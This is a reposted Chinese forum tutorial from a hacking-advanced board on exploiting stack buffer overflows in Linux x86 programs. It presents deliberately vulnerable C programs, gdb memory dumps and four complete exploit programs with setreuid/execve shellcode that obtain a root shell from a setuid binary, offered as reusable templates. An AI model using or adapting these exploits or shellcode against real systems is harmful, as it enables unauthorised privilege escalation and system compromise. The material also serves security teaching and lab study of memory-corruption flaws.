|
 | 作者: TomyChen [quest]
 版主 |
登录 |
| 我也有的地方看着不是很明白,一起讨论 ================================================================ 作者:aXis(刺) 来源:www.ph4nt0m.net(幻影旅团) 日期:2003.7.25 i.预备知识 ii.溢出原理演示 iii.三种常用溢出方法演示及实例分析 本来预备讲的东西很多,后来由于篇幅过长原因,所以其他一些内容就没有再讲了,比如与环境变量 传递的BUF有关的溢出(通过setenv(),putenv()等函数传递环境变量到BUF),以及一些实例分析.这篇 是我在学习BUFFER OVERFLOW过程中的一些心得,算是一个总结,同时也希望能帮助那些需要的 朋友们. 1.预备知识 由于篇幅问题,在这里就省略了,具体可以参照汇编教程,或其他缓冲区溢出教程中的预备知识. 这里仅仅请不太清楚的朋友先弄懂STACK,ESP,EBP,EIP等基本概念. # %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部. # %ebp 是基址寄存器,它指向当前堆栈储存区域的底部. # %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器) 2.三种常用溢出方法. 首先,我们来看一个有漏洞的程序 [tt@ph4nt0m explab]$ cat stack1.c #include<stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); return 0; } [tt@ph4nt0m explab]$ 这里做了什么呢?就是构造一个10BYTES的BUFFER,然后把命令行的第一个参数拷贝进缓冲区 由于没有进行边界检察,所以当argv[1]超过10bytes时,就会造成缓冲区溢出.当然,在理论上是只 需要超过10BYTES,但是,实际上由于GCC的版本问题,所以往往在BUFFER后面添加了很多填充物 ,所以实际上我们需要28BYTES才能真正覆盖BUFFER,我们还是实际来看一下 [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x10'` buf's 0xbfffec30 [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x24'` buf's 0xbffff220 [tt@ph4nt0m explab]$ ./stack1 `perl -e 'print "A"x28'` buf's 0xbfffe020 段错误 [tt@ph4nt0m explab]$ 可见当覆盖10BYTES的"A"时,程序正常退出,24BYTES也是如此,直到28BYTES时,才发生SEGMENT FAULT 我们用GDB来调试一下会比较清楚 [tt@ph4nt0m explab]$ gdb stack1 GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x0804835c <main+0>: push %ebp 0x0804835d <main+1>: mov %esp,%ebp 0x0804835f <main+3>: sub $0x18,%esp 0x08048362 <main+6>: and $0xfffffff0,%esp 0x08048365 <main+9>: mov $0x0,%eax 0x0804836a <main+14>: sub %eax,%esp 0x0804836c <main+16>: sub $0x8,%esp 0x0804836f <main+19>: mov 0xc(%ebp),%eax 0x08048372 <main+22>: add $0x4,%eax ......<以下略>...... 这里我们只需要注意到 0x0804835f <main+3>: sub $0x18,%esp 0x18等于10进制的24 事实上,内存中为BUFFER分配了24字节的空间,所以就不难解释上面的结论了. 那么接下来的4BYTES当然就造成了SEGMENT FAULT 那么,我们到底覆盖了什么呢?重新运行程序,用28BYTES覆盖 (gdb) r `perl -e 'print "A"x28'` Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x28'` buf's 0xbffff110 Program received signal SIGSEGV, Segmentation fault. 0x42015501 in __libc_start_main () from /lib/tls/libc.so.6 (gdb) i reg eax 0x0 0 ecx 0x4212ee20 1108536864 edx 0x11 17 ebx 0x42130a14 1108544020 esp 0xbffff130 0xbffff130 ebp 0x41414141 0x41414141 esi 0x40015360 1073828704 edi 0x80483d1 134513617 eip 0x42015501 0x42015501 eflags 0x10206 66054 再次重新运行,这次再多加4BYTES,即用32BYTES覆盖 (gdb) r `perl -e 'print "A"x32'` Starting program: /home/tt/explab/stack1 `perl -e 'print "A"x32'` buf's 0xbffff610 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i reg eax 0x0 0 ecx 0x4212ee20 1108536864 edx 0x11 17 ebx 0x42130a14 1108544020 esp 0xbffff630 0xbffff630 ebp 0x41414141 0x41414141 esi 0x40015360 1073828704 edi 0x80483d0 134513616 eip 0x41414141 0x41414141 eflags 0x10282 66178 通过上面两个实例,可以看到,当28BYTES时,将覆盖EBP,32BYTES时,将覆盖EIP (注:A的ASCII码值为41) 所以内存中实际上是这样分布的 +---------+ | buf | +---------+ | 填充物 | +---------+ | EBP | +---------+ | EIP | +---------+ | ...... | | 内存高址| 所以,当我们覆盖了EIP后,就可以改变程序的流程,在上面用0x41414141覆盖,在内存中不可读 当然就造成了段错误 注意,我们要覆盖的EIP那个值,应该是我们要运行代码的入口地址,而不是代码本身. 我们再来做一个演示 [tt@ph4nt0m explab]$ cat stackdemo.c #include<stdio.h> void fun(){ printf("test,being hacked!!!\n\n"); } int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); printf("fun is at 0x%8x\n",fun); return 0; } [tt@ph4nt0m explab]$ 与之前略有区别的是这个程序中多了一个函数FUN,但是在MAIN()中没有调用,所以程序应该不调用 FUN而正常结束.我们目标是溢出后,要能调用FUN 通过前面的结论,我们知道,覆盖28字节后,再加上4字节将覆盖EIP,所以,只需要把这4字节,设置成FUN的 入口地址就可以了 ! 我们具体来看.为了方便起见,我在程序中打印出了FUN函数的地址,当然也可以通过GDB 里disass fun来 得到这个地址,结果是一样的 [tt@ph4nt0m explab]$ ./stackdemo test buf's 0xbfffe130 fun is at 0x 804835c [tt@ph4nt0m explab]$ 可以看到函数fun的入口地址在0x0804835c 所以我们这样来构造应该可以调用到函数fun [tt@ph4nt0m explab]$ ./stackdemo `perl -e 'print "A"x28;print "\x5c\x83\x04\x08"'` buf's 0xbfffe090 fun is at 0x 804835c test,being hacked!!! 段错误 [tt@ph4nt0m explab]$ 果然成功了!函数fun成功执行了! 通过上面的分析,我们已经基本上掌握了程序运行时,内存中的分布,那么,现在来看真正的攻击 我们通过覆盖EIP,改变程序流程,从而执行SHELLCODE,得到一个SHELL 下面介绍常用的三种方法. 1.NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR型 这种方法适合于大缓冲区,是很传统的方法,记得ALPHA ONE在他的经典著作中就是用的这个方法 这里N代表NOPS,也就是0x90,在实际运行中,程序将什么也不做,而是一直延着这些NOPS运行下去, 直到遇到不是NOPS的指令再执行之. 使用大量NOPS的原因是为了增加EXPLOIT成功的机率. S代表SHELLCODE,也就是我们要执行的一段代码,得到SHELL,SHELLCODE的相关问题请参考相关文档. R代表返回地址,在下面我都用ret表示,是我们用来覆盖EIP的那个值,他将指向SHELLCODE 如前所述,这种方法适合于大的缓冲区,因为如果缓冲区太小,可能放不下SHELLCODE,那样就不能用RET来 正确的覆盖EIP,从而无法得到我们想要的结果.同时,就算能放下SHELLCODE,前面的NOPS放的太少,也 会大大影响EXPLOIT的成功率. 我们来看实际例子 [tt@ph4nt0m explab]$ cat stack2.c #include<stdio.h> int main(int argc,char **argv){ char buf[500]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); return 0; } [tt@ph4nt0m explab]$ 我们设置了一个BUF为500字节的大BUFFER,用前面的方法,用GDB反汇编得到覆盖EIP 所需的字节.当然,这里为了演示我们还可以用另外一个方法:二分法 就是不断测试造成溢出所需字节数,来判断覆盖所需要字节 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x500'` buf's 0xbfffde50 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x600'` buf's 0xbfffebf0 段错误 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x550'` buf's 0xbfffe7a0 段错误 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x530'` buf's 0xbffff0c0 段错误 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x520'` buf's 0xbfffe440 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x525'` buf's 0xbfffe0c0 段错误 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'` buf's 0xbfffe1c0 段错误 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x521'` buf's 0xbfffe040 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x522'` buf's 0xbffff040 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x523'` buf's 0xbffff140 [tt@ph4nt0m explab]$ ./stack2 `perl -e 'print "A"x524'` buf's 0xbfffeec0 段错误 [tt@ph4nt0m explab]$ 这样,最后我们就确定了溢出点,和反汇编的结果一致 (gdb) r `perl -e 'print "A"x524'` Starting program: /home/tt/explab/stack2 `perl -e 'print "A"x524'` buf's 0xbfffd830 Program received signal SIGSEGV, Segmentation fault. 0x42015501 in __libc_start_main () from /lib/tls/libc.so.6 (gdb) i reg eax 0x0 0 ecx 0x4212ee20 1108536864 edx 0x11 17 ebx 0x42130a14 1108544020 esp 0xbfffda40 0xbfffda40 ebp 0x41414141 0x41414141 esi 0x40015360 1073828704 edi 0x80483d9 134513625 eip 0x42015501 0x42015501 eflags 0x10202 66050 (gdb) disass main Dump of assembler code for function main: 0x0804835c <main+0>: push %ebp 0x0804835d <main+1>: mov %esp,%ebp 0x0804835f <main+3>: sub $0x208,%esp ====>这里:0x208=520,所以524覆盖了EBP 0x08048365 <main+9>: and $0xfffffff0,%esp 0x08048368 <main+12>: mov $0x0,%eax ...... ...... 这样,算法清楚后,就可以开始写我们的EXPLOIT了 下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的模板. [tt@ph4nt0m explab]$ cat stackexp2.c #include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]= // setreuid(0,0); "\x31\xc0" // xor %eax,%eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xb0\x46" // mov $0x46,%al "\xcd\x80" // int $0x80 // execve /bin/sh "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx "\x50" // push %eax "\x53" // push %ebx "\x8d\x0c\x24" // lea (%esp,1),%ecx "\xb0\x0b" // mov $0xb,%al "\xcd\x80" // int $0x80 // exit(); "\x31\xc0" // xor %eax,%eax "\xb0\x01" // mov $0x1,%al "\xcd\x80"; // int $0x80 unsigned long get_esp(){ __asm__("movl %esp,%eax"); } int main(int argc,char *argv[]){ char buf[530]; char* p; p=buf; int i; unsigned long ret; int offset=0; /* offset=400 will success */ if(argc>1) offset=atoi(argv[1]); ret=get_esp()-offset; memset(buf,0x90,sizeof(buf)); memcpy(buf+524,(char*)&ret,4); /* modify this value will modify nops and shellcode addr */ memcpy(buf+i+100,shellcode,strlen(shellcode)); printf("ret is at 0x%8x\n esp is at 0x%8x\n",ret,get_esp()); execl("./stack2","stack2",buf,NULL); return 0; } [tt@ph4nt0m explab]$ 先用 memset(buf,0x90,sizeof(buf)); 把整个BUF填满NOPS 再 memcpy(buf+i+100,shellcode,strlen(shellcode)); 从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS 当然可以增大NOPS的数目,这可以修改100这个值,但是要记住不要让SHELLCODE把EIP给覆盖了! 再接下来就是 memcpy(buf+524,(char*)&ret,4); 把EIP用我们的RET覆盖,让程序跳转到NOPS里面,一直到执行我们的SHELLCODE (前面不是提过NOPS的特性吗?) 最后就是用 execl("./stack2","stack2",buf,NULL); 来执行漏洞程序,并把我们精心构造的BUF拷贝进去了! 注意,EXPLOIT里面的BUF是我们自己精心构造的! 剩下的一个难点就是RET的值的确定 因为程序的流程已经很清楚了,但是RET是我们必需要小心控制的,因为他不能落到别的地方,必需落 到我们的NOPS里面! 这里使用的方法一般是ESP-OFFSET的方法 所以我们先 unsigned long get_esp(){ __asm__("movl %esp,%eax"); } 取得ESP的值,虽然这个值和EXECL后漏洞程序的ESP的值不同,但不会相差很远.然后再用OFFSET来调整, 这样就可以得到正确的RET值了. 我们打印出BUF的地址,因为我们的NOPS是从BUF开始的,所以只需要直到BUF的地址,把RET控制在&BUF+100 的范围内,就可以保证RET落在NOPS中! 具体可以通过GDB调试来看 (gdb) r Starting program: /home/tt/explab/stackexp2 ret is at 0xbffff2c0 esp is at 0xbffff2f8 Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000be0 in _start () from /lib/ld-linux.so.2 (gdb) c Continuing. buf's 0xbfffea40 Program received signal SIGSEGV, Segmentation fault. 0xbffff2c0 in ?? () (gdb) i reg eip ebp esp eip 0xbffff2c0 0xbffff2c0 ebp 0x90909090 0x90909090 esp 0xbfffec50 0xbfffec50 (gdb) x/50x $esp-532 0xbfffea3c: 0x00000000 0x90909090 0x90909090 0x90909090 0xbfffea4c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea5c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea6c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea7c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea8c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffea9c: 0x90909090 0x90909090 0xdb31c031 0x46b0c931 0xbfffeaac: 0xc03180cd 0x2f2f6850 0x2f686873 0x896e6962 0xbfffeabc: 0x24548de3 0x8d535008 0x0bb0240c 0xc03180cd 0xbfffeacc: 0x80cd01b0 0x90909090 0x90909090 0x90909090 0xbfffeadc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeaec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffeafc: 0x90909090 0x90909090 (gdb) 看到了我们的SHELLCODE了吧! 但是我们的RET没有跳到这里来, (gdb) i reg eip ebp esp eip 0xbffff2c0 0xbffff2c0 我们的RET现在跳到这里去了...... 那么我们改变OFFSET [tt@ph4nt0m explab]$ ./stackexp2 ret is at 0xbfffe0c0 esp is at 0xbfffe0f8 buf's 0xbfffd930 段错误 [tt@ph4nt0m explab]$ ./stackexp2 100 ret is at 0xbfffd7a4 esp is at 0xbfffd7f8 buf's 0xbfffd630 段错误 [tt@ph4nt0m explab]$ ./stackexp2 200 ret is at 0xbffff0c0 esp is at 0xbffff178 buf's 0xbfffefb0 段错误 [tt@ph4nt0m explab]$ ./stackexp2 300 ret is at 0xbfffeb5c esp is at 0xbfffec78 buf's 0xbfffeab0 非法指令 [tt@ph4nt0m explab]$ ./stackexp2 400 ret is at 0xbfffd6f8 esp is at 0xbfffd878 buf's 0xbfffd6b0 sh-2.05b$ 看!当我们的OFFSET到400时,就成功溢出拿到SHELL了! 为什么不是ROOT? 那是因为我们的漏洞程序stack2没有加上s位 当我们加上s位后 [tt@ph4nt0m explab]$ ls stack2 -l -rwsrwsr-x 1 root root 11673 7月 21 15:42 stack2 [tt@ph4nt0m explab]$ ./stackexp2 400 ret is at 0xbfffd8f8 esp is at 0xbfffda78 buf's 0xbfffd8b0 sh-2.05b# 看!拿到ROOT SHELL了,中彩票了!!! 2.RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型 这种方法同样适合于大的和小的缓冲区,而且RET地址容易计算,明显优于前一种方法! 原理是: 首先将整个BUF填满RET,一直到保证RET已经覆盖了EIP,接下来在RET之后紧跟大量的NOPS, 最后当然就是我们的SHELLCODE! 而RET地址在这里也非常好确定,因为整个BUF的大小是我们自给确定的(这里的BUF是我们构造 的BUF,而不是原来程序中的那个被溢出的BUF),所以只需要在BUF的起始地址再加上一个OFFSET 就可以让RET落在NOPS里面了. 我们看原来的第一个例子 [tt@ph4nt0m explab]$ cat stack1.c #include<stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); return 0; } [tt@ph4nt0m explab]$ 在stack1.c里,buf只有10BYTES,就算加上GCC分配的填充物也只有28BYTES可以利用,很可能放 不下我们的SHELLCODE,所以第一种方法在这里就不适用了. 我们采用RRRRNNNNSSSSS型的填充方法. 下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的模板 [tt@ph4nt0m explab]$ cat stackexp3.c #include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]= "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x2e" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x01" "\xcd\x80"; int main(int argc,char **argv){ char buf[500]; unsigned long ret,p; int i; p=&buf; ret=p+70; memset(buf,0x90,sizeof(buf)); for(i=0;i<44;i+=4) *(long *)&buf[i]=ret; memcpy(buf+400+i,shellcode,strlen(shellcode)); execl("./stack1","stack1",buf,NULL); return 0; } [tt@ph4nt0m explab]$ 先分配一个500BYTES的大BUF,用于我们的构造 把整个BUFFER填满NOPS memset(buf,0x90,sizeof(buf)); 然后把前44BYTES填满RET,这里的44是随便选的,目的只是需要保证覆盖调EIP就可以了. 从前面的分析直到,当覆盖32BYTES时,就会覆盖掉EIP,所以44可以达到我们的要求. for(i=0;i<44;i+=4) *(long *)&buf[i]=ret; 接下来把SHELLCODE复制到合适的位置. memcpy(buf+400+i,shellcode,strlen(shellcode)); 这样在SHELLCODE前面几乎有300多个NOPS,成功机率非常大. 最后再执行漏洞程序,拷贝我们精心构造的BUF到目标程序 剩下的关键问题是RET值的确定问题 如前所述,RET的值应该是BUF的起始地址加上一个OFFSET,使得RET能够落在NOPS里面 我们的BUF的结构是RRRRRRNNNNNNNSSSSSS 而RET是从BUF的起始地址开始填充起的,所以,只需要OFFSET能够跳过RET,就可以落到NOPS 里了. 从而我们这样计算 p=&buf; ret=p+70; 显然,70>44,所以在这个例子中,RET可以跳到NOPS中执行.我们实际来看看 [tt@ph4nt0m explab]$ ./stackexp3 buf's 0xbfffef40 sh-2.05b# 内存分布如下 (gdb) x/50x $esp-36 0xbfffdcdc: 0x08048269 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffdcec: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffdcfc: 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffe186 0xbfffdd0c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd1c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd2c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd3c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd4c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd5c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd6c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd7c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd8c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdd9c: 0x90909090 0x90909090 (gdb) ...... (gdb) 0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde90: 0x90909090 0x90909090 0x90909090 0xd889db31 0xbfffdea0: 0x80cd17b0 0xd889db31 0x80cd17b0 0xd889db31 0xbfffdeb0: 0x80cd2eb0 0x6850c031 0x68732f2f 0x69622f68 0xbfffdec0: 0x50e3896e 0x31e18953 0xcd0bb0d2 0x89db3180 0xbfffded0: 0xcd01b0d8 0x0000c680 0x00000000 0x00000000 0xbfffdee0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdef0: 0x00000000 0x00000000 0x00000000 0x00000000 中间省略的是大量NOPS,正如我们想要的那样,BUF按照我们需要的RRRRRNNNNNSSSSS 方式填充了! 3.利用环境变量 这是目前最有效也最常用的一种方法.适应能力强,而且可以精确定位SHELLCODE的地址, 所以连NOPS都可以不必要,这样带来的好处是绕过了一些环境的安全检察,因为大量的NOPS 肯可能会被检测出来而无法通过执行. 函数execve()是一个比较特殊的函数,他的某些特性能让我们写EXPLOIT事半功倍. 具体原理可以参考OYXin翻译的<<利用execve()函数写无nops exploit>> 可以在http://www.ph4nt0m.net/docs/env.txt找到这篇文章. 简单来说就是把SHELLCODE放到环境变量里.execve()可以提供一个全新的环境给程序.从内存 高址0xc0000000开始计算起,文件名,程序execve()后的环境和参数将被COPY进内存. 这样,只要按照一定顺序,我们就可以公式般计算SHELLCODE的准确位置! SHELLCODE地址的计算方法是 0xc0000000 - 0x04 - sizeof(filename) - sizeof(shellcode) 这个时候,我们的BUF构造就相对非常简单了.只需要AAAAAAAAR的方式来进行填充 A只需要填充BUF一直到EBP,最后的EIP用一个RET进行覆盖,RET准确的指向SHELLCODE的地址 最后再用SHELLCODE执行整个程序就可以了 ! 我们还是针对stack1.c来进行溢出 [tt@ph4nt0m explab]$ cat stack1.c #include<stdio.h> int main(int argc,char **argv){ char buf[10]; strcpy(buf,argv[1]); printf("buf's 0x%8x\n",&buf); return 0; } [tt@ph4nt0m explab]$ 下面是我写的一个演示的EXPLOIT,可以作为类似EXPLOIT的一个模板 [tt@ph4nt0m explab]$ cat stackexp1.c #include<stdio.h> char shellcode[]= "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x2e" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x01" "\xcd\x80"; int main(int argc,char **argv){ char buf[32]; char *p[]={"./stack1",buf,NULL}; char *env[]={"HOME=/root",shellcode,NULL}; unsigned long ret; ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *); memset(buf,0x41,sizeof(buf)); memcpy(&buf[28],&ret,4); printf("ret is at 0x%8x\n",ret); execve(p[0],p,env); return 0; } [tt@ph4nt0m explab]$ 把SHELLCODE放入将要执行的环境变量中 char *env[]={"HOME=/root",shellcode,NULL}; 把整个BUF用A填满 memset(buf,0x41,sizeof(buf)); 计算RET的值,并覆盖EIP ret=0xc0000000-strlen(shellcode)-strlen("./stack1")-sizeof(void *); ...... memcpy(&buf[28],&ret,4); 最后执行execve() execve(p[0],p,env); 我们来看看运行EXPLOIT的内存分布 (gdb) b execve Breakpoint 1 at 0x80482ec (gdb) r Starting program: /home/tt/explab/stackexp1 Breakpoint 1 at 0x420ac7f6 ret is at 0xbfffffbb Breakpoint 1, 0x420ac7f6 in execve () from /lib/tls/libc.so.6 (gdb) i reg eax 0xbfffe190 -1073749616 ecx 0x4212ee20 1108536864 edx 0x15 21 ebx 0x42130a14 1108544020 esp 0xbfffe150 0xbfffe150 ebp 0xbfffe158 0xbfffe158 esi 0x40015360 1073828704 edi 0x80484dc 134513884 eip 0x420ac7f6 0x420ac7f6 eflags 0x286 646 ...... (gdb) x/50x $esp 0xbfffe150: 0x420ac7f0 0x40015a38 0xbfffe1c8 0x080484a2 0xbfffe160: 0x08048558 0xbfffe190 0xbfffe180 0x4207a750 0xbfffe170: 0x4000807f 0x4001582c 0x00000036 0xbfffffbb 0xbfffe180: 0x08048561 0x080495c0 0x00000000 0x40016380 0xbfffe190: 0x08048558 0xbfffe1a0 0x00000000 0x0804837a 0xbfffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe1b0: 0x41414141 0x41414141 0x41414141 0xbfffffbb 0xbfffe1c0: 0x42130a14 0x40015360 0xbfffe1e8 0x42015574 0xbfffe1d0: 0x00000001 0xbfffe214 0xbfffe21c 0x4001582c ...... (gdb) c ...... (gdb) x/50x $esp ...... 0xbfffff40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff60: 0x00000000 0x00000000 0x00000000 0x36690000 0xbfffff70: 0x2e003638 0x6174732f 0x00316b63 0x41414141 0xbfffff80: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff90: 0x41414141 0x41414141 0xbfffffbb 0x42130a14 0xbfffffa0: 0x40015360 0xbfffe1e8 0x42015574 0x4f480001 0xbfffffb0: 0x2f3d454d 0x746f6f72 0x89db3100 0xcd17b0d8 0xbfffffc0: 0x89db3180 0xcd17b0d8 (gdb) 0xbfffffc8: 0x89db3180 0xcd2eb0d8 0x50c03180 0x732f2f68 0xbfffffd8: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0d231 0xbfffffe8: 0xdb3180cd 0x01b0d889 0x2e0080cd 0x6174732f 0xbffffff8: 0x00316b63 0x00000000 Cannot access memory at address 0xc0000000 (gdb) x/50x 0xbfffffc1 0xbfffffc1: 0xd889db31 0x80cd17b0 0xd889db31 0x80cd2eb0 0xbfffffd1: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbfffffe1: 0x31e18953 0xcd0bb0d2 0x89db3180 0xcd01b0d8 0xbffffff1: 0x2f2e0080 0x63617473 0x0000316b Cannot access memory at address 0xbffffffd (gdb) 我们已经可以看到程序按照我们的想法执行了. [tt@ph4nt0m explab]$ ./stackexp1 ret is at 0xbfffffbb buf's 0xbffffc60 sh-2.05b# 以上是三种常用的方法. 最后,简单说说关于传递环境变量到BUF造成溢出的问题 很多程序由于没有对环境变量进行边界检查,所以当赋予环境变量一个超长的值时, 运行该有漏洞的程序,将把环境变量拷贝进缓冲区,造成溢出. 通常通过setenv(),putenv()等函数进行传递被我们构造的环境变量 由于篇幅关系,这里不再详悉叙述,仅仅给出一个例子和我写的一个相应的EXPLOIT作为参考. [tt@ph4nt0m explab]$ cat env1.c #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv){ char buffer[500]; printf("buf addr is- %p -\n", &buffer); strcpy(buffer, getenv("PH4NT0M")); return 0; } [tt@ph4nt0m explab]$ 下面是我写的一个演示EXPLOIT,可以作为类似EXPLOIT的一个模板 [tt@ph4nt0m explab]$ cat envexp1.c #include <stdlib.h> #include <unistd.h> char shellcode[]= "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x17" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x2e" "\xcd\x80" "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x31\xd2" "\xb0\x0b" "\xcd\x80" "\x31\xdb" "\x89\xd8" "\xb0\x01" "\xcd\x80"; unsigned long get_esp(){ __asm__("movl %esp,%eax"); } int main(int argc, char **argv){ char buf[528]; int i; int offset=90; unsigned long ret; memset(buf,0x90,sizeof(buf)); /* set offset to 100 to spawn a shell! */ if(argc>1) offset=atoi(argv[1]); ret=get_esp()-offset; memcpy(buf+524,&ret,4); memcpy(buf+400+i,shellcode,strlen(shellcode)); setenv("PH4NT0M",buf,1); printf("retaddr is at 0x%lx \n",ret); execl("./env1","env1",NULL); return 0; } [tt@ph4nt0m explab]$ 运行结果如下,OFFSET取100时,造成溢出,得到SHELL [tt@ph4nt0m explab]$ ./envexp1 retaddr is at 0xbffff1ce buf addr is- 0xbfffefa0 - 段错误 [tt@ph4nt0m explab]$ ./envexp1 100 retaddr is at 0xbfffed34 buf addr is- 0xbfffeba0 - sh-2.05b$ 以上作为自己学习过程中的一点心得,方便以后备查,也希望能帮助需要的朋友.还请各位前辈 指正其中的缺陷和错误. |
| 地主 发表时间: 08/09 08:29 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 黑客进阶 标题: 缓冲区溢出笔记之---STACK溢出(转)